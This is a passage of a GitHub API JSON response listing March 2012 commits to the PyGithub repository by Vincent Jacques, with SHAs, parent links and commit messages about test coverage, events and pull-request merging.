Jacques","date":"2012-03-12T15:09:06-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/5c6e0289868fe3bc6bff49b0c33bd27c4dd07e2d","sha":"5c6e0289868fe3bc6bff49b0c33bd27c4dd07e2d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/636e6112deb72277b3bffcc3303cd7e8a7431a5d","sha":"636e6112deb72277b3bffcc3303cd7e8a7431a5d"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/58cb0dbdef9765e0e913c726f923a47315aaf80e","sha":"58cb0dbdef9765e0e913c726f923a47315aaf80e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:53:18-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:53:18-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2cabc3bd4e00227b053ddf867dec199b15503c41","sha":"2cabc3bd4e00227b053ddf867dec199b15503c41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/58cb0dbdef9765e0e913c726f923a47315aaf80e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"58cb0dbdef9765e0e913c726f923a47315aaf80e","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","sha":"cc6d0fc044eadf2e6fde5da699f61654c1e691f3"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","sha":"7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:37:15-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/58cb0dbdef9765e0e913c726f923a47315aaf80e","message":"Merge branch 'topic/FixBaseUrl' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:37:15-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2cabc3bd4e00227b053ddf867dec199b15503c41","sha":"2cabc3bd4e00227b053ddf867dec199b15503c41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/97f308e67383368a2d15788cac28e126c8528bb2","sha":"97f308e67383368a2d15788cac28e126c8528bb2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:36:59-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","message":"Add a unit test with a changing _baseUrl","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:36:59-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2cabc3bd4e00227b053ddf867dec199b15503c41","sha":"2cabc3bd4e00227b053ddf867dec199b15503c41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/97f308e67383368a2d15788cac28e126c8528bb2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"97f308e67383368a2d15788cac28e126c8528bb2","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fc33a6de4f0e08d7ff2de05935517ec3932d212e","sha":"fc33a6de4f0e08d7ff2de05935517ec3932d212e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:31:09-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/97f308e67383368a2d15788cac28e126c8528bb2","message":"Restore integration test after bugfix","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:31:09-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2905b7707c427bff575def862c26cb05507bfa9c","sha":"2905b7707c427bff575def862c26cb05507bfa9c"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fc33a6de4f0e08d7ff2de05935517ec3932d212e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"fc33a6de4f0e08d7ff2de05935517ec3932d212e","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","sha":"cc6d0fc044eadf2e6fde5da699f61654c1e691f3"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:28:06-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/fc33a6de4f0e08d7ff2de05935517ec3932d212e","message":"Fix bug: _baseUrl is now a method\n\nThis handles modification of attributes creating the base url","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:28:06-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/7f985c8693602ccc884ecfd9fece11a2a7d3fdef","sha":"7f985c8693602ccc884ecfd9fece11a2a7d3fdef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"cc6d0fc044eadf2e6fde5da699f61654c1e691f3","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","sha":"157f9c13275738b6b39b8d7a874f5f0aee47cb18"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","sha":"2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:12:06-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","message":"Merge branch 'topic/MergeMergeRequest' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:12:06-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4138e1bdfbc5130fe957589d9b68bb053c8305c5","sha":"4138e1bdfbc5130fe957589d9b68bb053c8305c5"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/366ca58ca004b9129f9d435db8204ce0f5bc57c3","sha":"366ca58ca004b9129f9d435db8204ce0f5bc57c3"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:11:40-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:11:40-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4138e1bdfbc5130fe957589d9b68bb053c8305c5","sha":"4138e1bdfbc5130fe957589d9b68bb053c8305c5"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/366ca58ca004b9129f9d435db8204ce0f5bc57c3","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"366ca58ca004b9129f9d435db8204ce0f5bc57c3","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0d3b3ffd1e5c143af8725fdee808101f626f683d","sha":"0d3b3ffd1e5c143af8725fdee808101f626f683d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:08:22-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/366ca58ca004b9129f9d435db8204ce0f5bc57c3","message":"PullRequest.is_merged and PullRequest.merge","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:08:22-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/cff64747ea7fc0957b502839f3a54cb8dd9b7002","sha":"cff64747ea7fc0957b502839f3a54cb8dd9b7002"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0d3b3ffd1e5c143af8725fdee808101f626f683d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"0d3b3ffd1e5c143af8725fdee808101f626f683d","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","sha":"157f9c13275738b6b39b8d7a874f5f0aee47cb18"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:51:50-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0d3b3ffd1e5c143af8725fdee808101f626f683d","message":"Improve coverage analysis","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:51:50-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/091f983c6aa0b097677a5b1d1e4a2b6417bb953d","sha":"091f983c6aa0b097677a5b1d1e4a2b6417bb953d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"157f9c13275738b6b39b8d7a874f5f0aee47cb18","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","sha":"924aef7d9f3a21145492ea165c9268ab0030cbab"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b12b6ffdfa6f1cca89459438eff6d3420ed199e9","sha":"b12b6ffdfa6f1cca89459438eff6d3420ed199e9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:47-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","message":"Merge branch 'topic/AddHooksAndEvents' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:47-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/014f6c1b5278352ba1bc974914e3a76c17590479","sha":"014f6c1b5278352ba1bc974914e3a76c17590479"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b12b6ffdfa6f1cca89459438eff6d3420ed199e9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"b12b6ffdfa6f1cca89459438eff6d3420ed199e9","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/236fcaead6addd284722e4b5fde2e24f6f4ae63b","sha":"236fcaead6addd284722e4b5fde2e24f6f4ae63b"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:27-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/b12b6ffdfa6f1cca89459438eff6d3420ed199e9","message":"AuthenticatedUser.get_organization_events","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:27-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/014f6c1b5278352ba1bc974914e3a76c17590479","sha":"014f6c1b5278352ba1bc974914e3a76c17590479"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/236fcaead6addd284722e4b5fde2e24f6f4ae63b","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"236fcaead6addd284722e4b5fde2e24f6f4ae63b","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/43369be99710f4386d31daa87db9b5cc48f0544d","sha":"43369be99710f4386d31daa87db9b5cc48f0544d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:28:26-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/236fcaead6addd284722e4b5fde2e24f6f4ae63b","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:28:26-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/484f40761d22be9a4a815e010c52e43c12e49f02","sha":"484f40761d22be9a4a815e010c52e43c12e49f02"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/43369be99710f4386d31daa87db9b5cc48f0544d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"43369be99710f4386d31daa87db9b5cc48f0544d","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/07b6b437d741df9c94cf34e36045fc78868b63ba","sha":"07b6b437d741df9c94cf34e36045fc78868b63ba"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:22:10-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/43369be99710f4386d31daa87db9b5cc48f0544d","message":"Repository.get_issues_event + coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:22:10-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/656b268fdf8d0ce1e48037f8a546eecdf0dc5ef9","sha":"656b268fdf8d0ce1e48037f8a546eecdf0dc5ef9"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/07b6b437d741df9c94cf34e36045fc78868b63ba","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"07b6b437d741df9c94cf34e36045fc78868b63ba","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6d51a955d922e92dacf37106a3c52d185fb18423","sha":"6d51a955d922e92dacf37106a3c52d185fb18423"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T12:43:20-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/07b6b437d741df9c94cf34e36045fc78868b63ba","message":"Remove two 'MethodFromCallable'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T12:43:20-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fb26540cb902379e02897890f8e79df032fa4657","sha":"fb26540cb902379e02897890f8e79df032fa4657"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6d51a955d922e92dacf37106a3c52d185fb18423","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"6d51a955d922e92dacf37106a3c52d185fb18423","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/44911bf0906912d468cb88001907955ee318fdf7","sha":"44911bf0906912d468cb88001907955ee318fdf7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T11:59:56-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6d51a955d922e92dacf37106a3c52d185fb18423","message":"Fix and add integration tests about events","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T11:59:56-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/c1619a5fa4c612b9d7455bbd4111e074c1110967","sha":"c1619a5fa4c612b9d7455bbd4111e074c1110967"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/44911bf0906912d468cb88001907955ee318fdf7","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"44911bf0906912d468cb88001907955ee318fdf7","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/01fa4d803b4a541759ba906d194f1fa9bc29faa9","sha":"01fa4d803b4a541759ba906d194f1fa9bc29faa9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T12:54:56-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/44911bf0906912d468cb88001907955ee318fdf7","message":"Events: step 1","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T12:54:56-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/8e82325aa70d2d0c5dd15c138d44c729a097d7df","sha":"8e82325aa70d2d0c5dd15c138d44c729a097d7df"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/01fa4d803b4a541759ba906d194f1fa9bc29faa9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"01fa4d803b4a541759ba906d194f1fa9bc29faa9","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","sha":"25c76b4b759173fa42cdf3ebd0214a5ce958b2e4"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T02:12:15-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/01fa4d803b4a541759ba906d194f1fa9bc29faa9","message":"Regenerate reference of classes","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T02:12:15-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/deae54c27d31b4d5f21daeb48451cdbed301d386","sha":"deae54c27d31b4d5f21daeb48451cdbed301d386"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/00a832e6d519dac96142f650d6363f24459f9145","sha":"00a832e6d519dac96142f650d6363f24459f9145"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-03T23:56:48-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 